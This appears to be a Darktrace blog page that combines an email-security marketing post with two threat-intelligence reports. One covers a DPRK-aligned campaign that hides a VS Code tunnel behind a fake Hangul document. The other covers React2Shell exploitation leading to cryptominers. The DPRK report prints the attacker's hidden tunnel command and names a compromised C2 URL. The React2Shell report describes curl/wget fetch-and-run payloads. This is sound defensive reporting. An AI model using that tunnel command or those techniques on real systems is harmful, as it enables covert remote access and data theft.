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December 4, 2025

The 17% of email threats SEGs miss – and how Darktrace catches them

New research from Darktrace shows that leading Secure Email Gateways miss about 17% of the threats that bypass Microsoft filtering. Darktrace / EMAIL closes the gap with AI that learns your business, not yesterday’s attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
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04
Dec 2025

17%: The figure that changes your risk math

Most organizations deploy a Secure Email Gateway (SEG) assuming it will catch whatever their native email security provider would not be able to. But the data tells a different story. Nearly one in six of the riskiest inbound emails still evade the native + SEG layers on the first pass – 17% is the average SEG miss rate after Microsoft filtering.  

How did we calculate the miss rate? The figure comes from a volume-weighted analysis of real-world enterprise deployments where Darktrace operated alongside a SEG, compared to deployments without a SEG. It’s based on how each security layer treated malicious emails on the first instance – if the SEG missed the email at the initial filtering but caught it minutes or hours later we considered it a miss, because the threat had already been exposed to the user. We computed the mean per category miss count across the top three widely deployed SEGs and divided that by the total number of threats that had already bypassed native filters. The resulting rate is 17.8%, conservatively communicated as “about 17%.”

This result is a powerful directional signal – not a guarantee for every environment – but significant enough to merit a closer look.

What SEGs miss most (and why it matters)

Our analysis shows that SEGs most frequently miss context-driven, low-signal attacks.

Darktrace catches more threats than SEGs across a range of attack vectors

These are the kinds of emails that look convincing to recipients and rely on business context, without overtly malicious indicators, including:

Solicitation and fraudulent requests (~21% miss rate)

Deceptive invoices, vendor “updates,” payment term changes, or urgent favors. These messages often lack obvious payloads and exploit business process mimicry, making them nearly indistinguishable from genuine correspondence in the eyes of static, rule-based filters dependent on payload analysis. 22% of breaches stemming from external actors were a result of social engineering in 2025 (Verizon 2025 Data Breach Investigations Report).

Phishing links (~20% miss rate)

Links to credential harvesters or later-weaponized sites using new or compromised domains, redirects, or shorteners. URL rotation and staging evade list-based controls; the linguistic and workflow context looks routine. This also includes threats that leverage legitimate cloud platforms to disguise their intent and avoid reputation analysis.  Phishing remains one of the most expensive cause of breaches, an average cost of $4.8 million (IBM Cost of a Data Breach Report 2025).

User impersonation (~19% miss rate)

Convincing messages that mimic executives, colleagues, or partners, often with subtle display-name or address manipulation. These attacks rely on social engineering and context, bypassing static detection and reputation checks.

Other notable misses: Credential harvesting lures and forged/abused sender addresses, both typically light on static indicators but heavy on contextual clues. 

Why SEGs miss these emails

Let’s look at some of the reasons SEGs fail to catch more advanced, context-driven attacks.

  1. Attack-centric bias. SEGs excel at recognizing known-bad indicators (spam, commodity malware). But today’s high-impact threats are supercharged by AI and can be hyper-customized with polymorphic malware or personalized social engineering. They mirror normal business communications and weaponize trust, not binary patterns.  
  2. Limited behavioral understanding. Without modeling each user’s “normal” pattern of life, subtle anomalies (timing, tone, counterpart, transaction patterns) can look benign, even if they should be flagged. Some modern solutions have begun to incorporate behavioral analysis into their products, but these are still supplements for additional information rather than integrated into the core threat detection engine.
  3. Assumed trust. Account compromise and attacks that abuse legitimate services exploit trust. SEGs weren’t designed to handle these kinds of threats, in fact, they assume trust in order to minimize false positives, leaving them wide open to attackers.  
  4. Siloed detection. Email rarely tells the whole story. Attacks pivot across email, identity, and SaaS; single-channel tools can’t connect those dots in real time. This issue is exacerbated when email security vendors are only focused on email activity, ignoring activity beyond the inbox like network or cloud account activity.
  5. Adaptive evasion. Fast domain churn, benign-looking links, and clean hosting on trusted platforms routinely outpace static rules and blocklists. No matter how great your threat intelligence or threat research teams may be, there is a reliance on a first victim – which leads to defenders remaining one step behind attackers. 

How Darktrace / EMAIL catches the threats SEGs miss

Everywhere a SEG falters, Darktrace excels. Let’s take a look why.

  • Self-Learning AI: Darktrace learns the unique communication patterns of every user, department, and supplier, flagging the subtle deviations that typify social engineering and impersonation. 
  • A zero trust approach: According to Gartner, many organizations fail to extend their zero-trust strategy to email, leaving a critical gap. Darktrace assumes no trust, applying the zero trust principle across all aspects of email communication.
  • Cross-domain context: Correlates behavior across email, identity, and SaaS, exposing multi-stage campaigns that a siloed SEG can’t piece together. 
  • Better together with native providers: Operates alongside your native email security – not against it – so protection is additive. Darktrace ingests native signals and orchestrate unified quarantine without duplicating policy stacks or forcing you to disable built-in protections. 

For example: one of our customers, a global enterprise saw a surge of “document-share” notifications from a trusted collaboration platform. The domain and authentication looked fine; their SEG allowed it. Darktrace / EMAIL flagged it because the supplier’s sharing behavior and permission scope deviated from normal (volume, recipients, and access level). Follow-up confirmed the supplier account was compromised. Behavioral context – not rules or signatures – made the difference. 

Three steps to building a modern email security stack

Let’s end with three strategic takeaways for ensuring your email security is fit-for-purpose.

  1. Defense-in-depth = diversity, not duplication

Why it matters: Two security layers with the same detection philosophy (e.g. SEG + native email security) create overlapping blind spots. Both native email security providers and SEGs are attack-centric solutions that rely on past threats and threat intelligence. True defense-in-depth ensures you are asking different questions of every email that comes through.

How to apply: Pair your native email security with behavioral AI that learns how your business communicates. Eliminate redundant layers that only add cost and latency. 

  1. Coordinate the layers you keep

Why it matters:  Layers that don’t talk create delays and hand-offs; SEGs often become sole decision-makers by forcing native protections off. 

How to apply:  Favor an ICES approach that ingests native signals and can orchestrate unified quarantine, so detections become actions in one motion. 

  1. Quantify your security gap with a POV

Why it matters:  Every environment is different. You need evidence before making changes to your stack.

How to apply:  Run Darktrace / EMAIL in observe mode next to your current stack to surface exactly what’s still getting through. Use those results to plan your transition and measure improvement. 

Ready to claim 17% more protection? Request a demo with Darktrace / EMAIL to quantify what your SEG is missing, then decide how much of that residual risk you’re willing to accept. We’ll help you plan a clean, staged transition that preserves native protections and streamlines operations.  In the meantime, calculate your potential ROI using Darktrace / EMAIL with our handy calculator.

[related-resource]

See why Darktrace is an email security Leader

Read the Gartner® Magic Quadrant™ report & discover what it means to be recognized as an email security Leader.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email

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January 21, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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